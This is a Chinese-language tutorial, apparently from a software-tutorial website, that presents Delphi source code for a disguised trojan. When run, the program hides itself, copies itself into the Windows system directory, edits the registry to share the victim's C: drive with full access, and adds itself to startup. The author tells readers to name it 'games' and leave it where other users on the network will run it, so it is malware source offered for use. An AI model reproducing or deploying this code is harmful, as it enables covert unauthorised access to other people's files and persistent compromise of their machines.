明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺!

怎么讓C盤每次打開后都是完全共享

[摘要]為什么我的C盤每次啟動后都是完全共享?看看以下這個(gè)程序就明白了,噢,索叻是叻:) 此程序當(dāng)網(wǎng)絡(luò)上其他用戶執(zhí)行后,會自己復(fù)制一份到該用戶Windows的system目錄下,,并修改該機(jī)的注冊表,...
為什么我的C盤每次啟動后都是完全共享?看看以下這個(gè)程序就明白了,噢,索叻是叻:)
    此程序當(dāng)網(wǎng)絡(luò)上其他用戶執(zhí)行后,會自己復(fù)制一份到該用戶Windows的system目錄下,,并修改該機(jī)的注冊表,使該機(jī)的C盤自動改為完全共享,且每次啟動機(jī)子后都會重新修改注冊表,當(dāng)然,為了不讓別人看出執(zhí)行的程序,該程序執(zhí)行時(shí)不會在任務(wù)欄顯示,本身也不回顯,執(zhí)行一秒鐘后程序自動退出,不易被發(fā)覺。
來看源程序吧,該程序在Delphi5.0中通過:
    首先將mainform的BorderStyle屬性設(shè)為bsNone,由于要修改注冊表及復(fù)制文件,再在uses中加入 Registry,shellapi;
    大家注意程序中的注釋:

procedure Tmainform.FormShow(Sender: TObject);
var
  MyReg:TRegistry;
  mysyspath:Pchar;
  F:TShFileOpStruct;
  file_To,file_From:string;
begin
  //得到用戶機(jī)系統(tǒng)目錄
  GetMem(MySysPath,255);
  GetSystemDirectory(MySysPath,255);
  //文件名 file_To:=mysyspath+'\Sysdef.exe';
  //復(fù)制目標(biāo)文件名 file_From:=application.ExeName;
  //復(fù)制源文件名
  //以下為注冊表修改
  MyReg:=TRegistry.Create;
  MyReg.RootKey :=HKEY_LOCAL_MACHINE;
  try
    if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C',True) then ;
      //指定子鍵能否打開,如不能則創(chuàng)建它,該子鍵包含硬盤共享參數(shù)
      if filesearch('wz.txt',MySysPath)='' then
      //搜索有否wz.txt文件,有則不執(zhí)行,該判斷用于自己的機(jī)子,防止自己被黑,因而在自己的系統(tǒng)目錄下建立此文件,則不會被修改
      begin
        MyReg.WriteInteger('Flags',258);//共享為完全共享
        MyReg.WriteInteger('Type',0);
        MyReg.WriteString('Path','C:\');
        MyReg.WriteString('Remark','隨便你想寫什么');
        MyReg.CloseKey;
      end;
    if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then ;
    begin
      MyReg.WriteString('Sysdef',file_To);//將程序加載到啟動中,每次開機(jī)自動執(zhí)行
    end;
  finally
    MyReg.Free;//釋放注冊表資源
  end;
  //以下為拷貝文件
  with F do
  begin
    wnd:=application.Handle;
    pFrom:=pchar(file_From);
    pTo:=pchar(file_To);
    if FileSearch('sysdef.exe',mysyspath)='' then
    wFunc:=FO_COPY;//文件是否存在,不存在則復(fù)制
    fFlags:=FOF_SILENT;//不顯示Copy動畫
  end;
  if ShFileOperation(F)<>0 then ; //此處為文件COPY失敗的操作,此程序里為空操作
    timer1.Enabled :=true;
end;

procedure Tmainform.FormCreate(Sender: TObject);
begin
  //Form不可見
  Application.ShowMainForm:=false;
  //程序不出現(xiàn)在任務(wù)欄
  SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;

procedure Tmainform.Timer1Timer(Sender: TObject);
begin
  //一秒鐘后程序退出
  close;
  application.Terminate;
end;


    程序完成后,將之放于顯眼的地方,只要網(wǎng)絡(luò)上的其他機(jī)子執(zhí)行此程序后便會被修改,它的C盤可是赤裸裸的展現(xiàn)在你面前喲。 好了,小小程序,獻(xiàn)丑了! (另注: 編譯好的程序名為games,將之拷入根目錄下可以很好的運(yùn)行,但是有可能出錯(cuò),將之拷入某盤任意目錄下即可正常運(yùn)行。經(jīng)過我的試驗(yàn),改為不同的文件名,需要的環(huán)境就不一樣。我也有點(diǎn)納悶,有可能是程序或者Windows的Bug。例如: c:\games.exe運(yùn)行出錯(cuò),拷到c:\dd\games.exe則不會出錯(cuò),還希望高手指點(diǎn):)